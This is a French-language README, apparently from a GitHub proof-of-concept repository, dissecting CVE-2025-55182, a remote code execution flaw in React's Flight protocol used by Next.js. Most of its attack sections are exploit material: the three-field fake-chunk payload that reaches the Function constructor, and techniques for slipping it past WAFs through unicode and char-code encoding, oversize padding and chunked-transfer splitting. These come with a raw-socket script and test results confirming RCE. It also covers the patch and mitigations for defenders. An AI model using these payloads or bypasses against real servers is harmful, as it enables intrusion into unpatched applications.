Preuve de concept technique et analyse approfondie de CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance (RCE) dans le protocole Flight de React via un traversement de chemin, une injection de faux chunks et un abus du gestionnaire $B.
Écrit par IA/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 est une vulnérabilité RCE critique dans le Flight Protocol de React. La chaîne d'attaque combine traversée de chemin + injection de faux chunk + abus du gestionnaire $B pour exécuter Function(attacker_code).
Un grand merci à maple3142 pour la chaîne d'exploitation fonctionnelle !
L'exploit utilise trois champs de formulaire pour construire une charge utile malveillante :
then auto-référentiel (champ 1 $@0 → champ 0)_response avec _formData.get défini sur $1:constructor:constructor$B qui appelle response._formData.get(response._prefix + id)_formData.get → Function, exécutant Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Key Components
| Composant | Objectif |
|-----------|----------|
| `then: "$1:__proto__:then"` | Thenable autoréférentiel ; le fragment 1 (`$@0`) pointe vers le fragment 0 |
| `status: "resolved_model"` | Rend l'objet semblable à un fragment React valide |
| `reason: -1` | Définit rootReference sur undefined (évite les conflits de référence) |
| `value: '{"then":"$B1337"}'` | Charge utile imbriquée qui déclenche le gestionnaire `$B` |
| `_response._prefix` | Contient la chaîne de code RCE |
| `_response._chunks: "$Q2"` | Map vide pour éviter les plantages lors du traitement des fragments |
| `_response._formData.get` | Pointe vers `Function` via `$1:constructor:constructor` |
### Plongée en profondeur des composants
#### Structure des champs de formulaire
L'exploit utilise trois champs de formulaire avec des références circulaires :```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)Le then: "$1:__proto__:then" crée une auto-référence qui se résout en une fonction réelle :```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Pourquoi c'est critique :**
1. `then` résout vers `Chunk.prototype.then` - une vraie fonction appelable
2. Cela rend l'objet factice un thenable valide
3. Lorsqu'il est attendu, JS appelle `obj.then(resolve, reject)`
4. `Chunk.prototype.then` s'exécute avec l'objet factice comme `this` :```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) utilise this._response - le faux _response de l'attaquant :```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Sans l'auto-référence**, le faux `_response` ne serait jamais utilisé. L'auto-référence fait que `Chunk.prototype.then` traite l'objet de l'attaquant comme un vrai Chunk.
#### Déclencheur Thenable en Deux Étapes (`value`)
Le champ `value` contient une chaîne JSON imbriquée avec un autre thenable :```json
{"then":"$B1337"}
Stage 1: L'auto-référence then de l'objet externe déclenche le traitement de chunk.
Stage 2: Quand React résout le modèle, il analyse value et rencontre un autre thenable avec then: "$B1337". Le préfixe $B déclenche le handler :```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` est `"$1:constructor:constructor"` → `getOutlinedModel()` se résout en `Function`.
Cela devient : `Function(code + "1337")` → JS valide car `1337` n'est qu'une expression finale.
#### Rembourrage défensif (`_chunks`)
Le faux `_response` a besoin d'une propriété `_chunks` valide pour éviter les plantages :```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Le code interne de React peut accéder à response._chunks.get() ou response._chunks.has() pendant le traitement. Un Map vide satisfait ces appels sans erreur, permettant à l'exécution d'atteindre le gestionnaire vulnérable $B.
| Chemin | Fonction | Objectif dans l'exploit |
|---|---|---|
| Traversée de chemin | getOutlinedModel() | Résout $1:constructor:constructor → Function |
Injection de _response factice | initializeModelChunk() | Utilise le chunk._response de l'attaquant |
Gestionnaire $B | parseModelString() | Appelle _formData.get(_prefix + id) → RCE |
decodeReply() est le point d'entrée, pas vulnérable en soi.
Traversée de chemin (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Utilisation de la fausse réponse** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## Le correctif (19.2.1)
Le correctif comprend plusieurs corrections :
1. **`RESPONSE_SYMBOL` dans `initializeModelChunk()`** - Correctif critique ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty vérification dans getOutlinedModel() - Empêche le parcours du prototype ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ gestion dans reviveModel() - Empêche la pollution du prototype ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Valide les écouteurs ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Capacité | Statut | Notes |
|---|---|---|
| Traversée de la chaîne de prototypes | ✓ Confirmé | Via $1:constructor:constructor |
| Accès au constructeur Function | ✓ Confirmé | Aucun manifeste nécessaire |
| RCE complète | ✓ Confirmé | Via faux chunk + gestionnaire $B |
Cette section explique pourquoi les règles traditionnelles de WAF basées sur la correspondance de motifs ne peuvent pas détecter de manière fiable cette exploitation. Comprendre ces limitations est essentiel pour les équipes de sécurité qui évaluent leur posture défensive.
La charge utile de l'exploitation traverse plusieurs analyseurs, chacun avec un support d'encodage différent. Un WAF inspectant les octets HTTP bruts voit des chaînes encodées, mais le serveur les décode avant de les traiter :
| Couche | Analyseur | Décode |
|---|---|---|
| Structure JSON | JSON.parse() | Échappements unicode \uXXXX |
| Code JavaScript | Constructeur Function() | \uXXXX, \xXX, octal, fromCharCode() |
Cela crée un décalage fondamental : le WAF voit des octets encodés, mais l'application voit des chaînes décodées.
Un WAF naïf pourrait chercher des motifs comme constructor, __proto__, resolved_model ou child_process. Cependant, JSON autorise les échappements unicode pour n'importe quel caractère :
| Motif littéral | Équivalent unicode | Détection par WAF |
|---|---|---|
constructor | \u0063onstructor | Contourné |
__proto__ | \u005f\u005fproto\u005f\u005f | Contourné |
resolved_model | \u0072esolved_model | Contourné |
$@ (référence circulaire) | $\u0040 | Contourné |
Le code JavaScript dans la charge utile dispose de encore plus d'options d'encodage :
| Motif | Options d'encodage |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, codes de caractères numériques, base64 |
| Tout identifiant | Notation par crochets : this[S(112,114,...)] où S=String.fromCharCode |
Lorsque toutes les techniques d'encodage sont combinées :
\u0074\u0068\u0065\u006e pour then)S(99,104,105,108,100,95,...) pour child_process)Un WAF analysant le corps HTTP voit uniquement des séquences d'échappement et des nombres - rien qui ne corresponde aux signatures d'attaque traditionnelles.
L'en-tête Next-Action identifie les requêtes Server Action. Bien que les noms d'en-têtes ne puissent pas être encodés en unicode (RFC 7230 exige des jetons ASCII), les différences de normalisation entre le WAF et le serveur créent des lacunes de détection :
| Variante | Comportement du serveur | Risque pour le WAF |
|---|---|---|
next-action (minuscules) | Accepté (HTTP est insensible à la casse) | Manqué si le WAF attend une casse exacte |
Next-Action:\tx (tabulation) | Accepté (les espaces blancs sont normalisés) | Manqué si le WAF attend une espace |
Next-Action: x (espaces) | Accepté | Manqué sans normalisation |
Le seul correctif fiable est d'appliquer les correctifs. Les règles WAF ne peuvent pas bloquer complètement cette attaque en raison de la flexibilité d'encodage.
Versions requises :
Si le correctif est retardé, envisagez :
\uXXXX, \xXX et normaliser les appels fromCharCode() avant la recherche de motifs_response, _prefix, _chunks ou des références circulaires ($@0)next-action de manière insensible à la casse avec suppression des espaces blancsNext-ActionFunction() avec des arguments de chaîne dynamiquesPoint clé : La seule recherche de motifs échouera face à cette classe d'attaque. La surface d'encodage est trop vaste pour être énumérée.
Même avec des règles WAF complètes, AWS WAF impose des limites de taille d'inspection du corps qui peuvent être exploitées. Cette section documente les techniques de contournement testées utilisant des charges utiles surdimensionnées.
AWS WAF inspecte seulement une partie du corps de la requête :
| Backend | Limite par défaut | Maximum configurable |
|---|---|---|
| ALB / AppSync | 8 Ko | 8 Ko |
| CloudFront / API Gateway | 16 Ko | 64 Ko |
| Amazon Cognito / App Runner | 16 Ko | 64 Ko |
OversizeHandlingLes règles WAF spécifient comment traiter les requêtes dépassant les limites d'inspection :
| Paramètre | Comportement | Exploitable ? |
|---|---|---|
CONTINUE | Inspecte les octets disponibles, évalue la règle | Oui - la charge utile après la limite n'est pas inspectée |
MATCH | Considère comme correspondant (bloquer) | Non - bloque les requêtes surdimensionnées |
NO_MATCH | Considère comme ne correspondant pas | Oui - passe à travers |
Si votre règle WAF utilise OversizeHandling: CONTINUE (par défaut courant), le contournement est trivial.
Placez des données de rembourrage inoffensives avant la charge utile de l'exploitation afin qu'elles tombent en dehors de la fenêtre d'inspection :``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Résultats des tests
Toutes les charges utiles surdimensionnées ont réussi à exécuter du code à distance (RCE) sur Next.js :
| Taille de rembourrage | Corps total | Décalage d'exploit | Résultat |
|----------------------|-------------|--------------------|----------|
| 0 Ko | 0.6 Ko | 0.4 Ko | ✅ RCE |
| 8 Ko | 8.6 Ko | 8.4 Ko | ✅ RCE |
| 16 Ko | 16.6 Ko | 16.5 Ko | ✅ RCE |
| 32 Ko | 32.6 Ko | 32.5 Ko | ✅ RCE |
| 64 Ko | 64.6 Ko | 64.5 Ko | ✅ RCE |
| 128 Ko | 128.6 Ko | 128.5 Ko | ✅ RCE |
### Contournement par encodage de transfert fragmenté
L'encodage de transfert fragmenté HTTP/1.1 divise le corps en fragments distincts. Si le WAF inspecte les fragments **avant** le réassemblage, les motifs s'étendant sur les limites des fragments ne correspondront pas.
#### Comment ça fonctionne```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Motif réparti sur plusieurs chunks:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Stratégies de découpage testées
| Stratégie | Description | Résultat |
|-----------|-------------|----------|
| Séparation à `$@` | `"$` \| `@0"` | ✅ RCE |
| Fragments de 10 octets | Corps divisé tous les 10 octets | ✅ RCE |
| Fragments de 5 octets | Corps divisé tous les 5 octets | ✅ RCE |
| Séparation à `status` | `sta` \| `tus` | ✅ RCE |
Toutes les stratégies ont réussi à obtenir une RCE - Next.js réassemble correctement les requêtes fragmentées.
#### Exemple de socket brut```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| Type de WAF | Gestion des fragments | Contournement possible ? |
|---|---|---|
| AWS WAF (ALB) | Réassemblage avant inspection | Peu probable |
| AWS WAF (CloudFront) | Réassemblage avant inspection | Peu probable |
| Certains WAF anciens | Inspection par fragment | Oui |
| Nginx ModSecurity | Configurable | Dépend de la configuration |
Remarque : AWS WAF réassemble généralement les corps fragmentés avant inspection. Cependant, cette vérification doit être effectuée par environnement, car les configurations varient.
OversizeHandling en MATCH ```json
"OversizeHandling": "MATCH"
Cela bloque toute requête dépassant la limite d'inspection lorsque les conditions de la règle sont remplies.
Augmenter la limite d'inspection du corps (CloudFront/API Gateway uniquement) Configurez jusqu'à 64 Ko dans les paramètres de la liste de contrôle d'accès Web, mais cela n'empêche pas complètement le contournement.
Ajouter une règle de blocage basée sur la taille
Bloquer les requêtes POST dont l'en-tête Next-Action dépasse une taille raisonnable (ex. 10 Ko).
Corriger l'application - La seule solution complète.
Voir les scripts de test inclus :
test-simple.cjs - Test de charge utile non fragmentée de basetest-oversize.cjs - Teste les tailles de remplissage de 0 à 128 Kotest-chunked-v2.cjs - Encodage de transfert fragmenté avec séparation $@test-chunked-bypass.cjs - Plusieurs stratégies de fragmentation (5 octets, 10 octets, divisions de motif)Usage:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## Parcours de recherche
### La vulnérabilité: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
With payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Bien que nous ayons obtenu Function, atteindre une exécution de code à distance (RCE) nécessite de l'appeler avec des arguments contrôlés. Ces chemins ont échoué :
1. Thenable Path (Bloqué)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Chemin (Bloqué)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Chemin d'itérateur (Bloqué)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### La percée
maple3142 a trouvé la pièce manquante : le gestionnaire `$B` + la chaîne de `_response` factice. En faisant en sorte que `then` résolve vers `Chunk.prototype.then` via une auto-référence, la `_response` factice est utilisée, permettant l'exécution de code à distance (RCE).
---
## Principales conclusions
1. **La vulnérabilité `getOutlinedModel()` est réelle** – Les chemins séparés par des deux-points permettent de parcourir la chaîne de prototypes
2. **Le constructeur `Function` est accessible** – `$1:constructor:constructor` fonctionne sans `serverManifest`
3. **L'exécution de code à distance (RCE) est réalisable** – En créant un faux chunk avec une `_response` contrôlée :
- Auto-référence `$1:__proto__:then` → `Chunk.prototype.then` fait que la fausse `_response` est utilisée
- La structure du faux chunk imite la classe `Chunk` interne de React
- `_response._formData.get` → constructeur `Function`
- `_response._prefix` → chaîne de code malveillante
- Le gestionnaire `$B` déclenche `Function(code_malveillant)`
4. **Le correctif est complet** – Multiples vérifications `hasOwnProperty` et validations de type
---
## Références
- [maple3142's Gist](https://gist.github.com/maple3142) – Découverte de la chaîne RCE
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF Rule](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Avertissement
Ce dépôt est destiné uniquement à la **recherche en sécurité défensive et éducative**. La vulnérabilité a été corrigée. Mettez à jour vos dépendances immédiatement.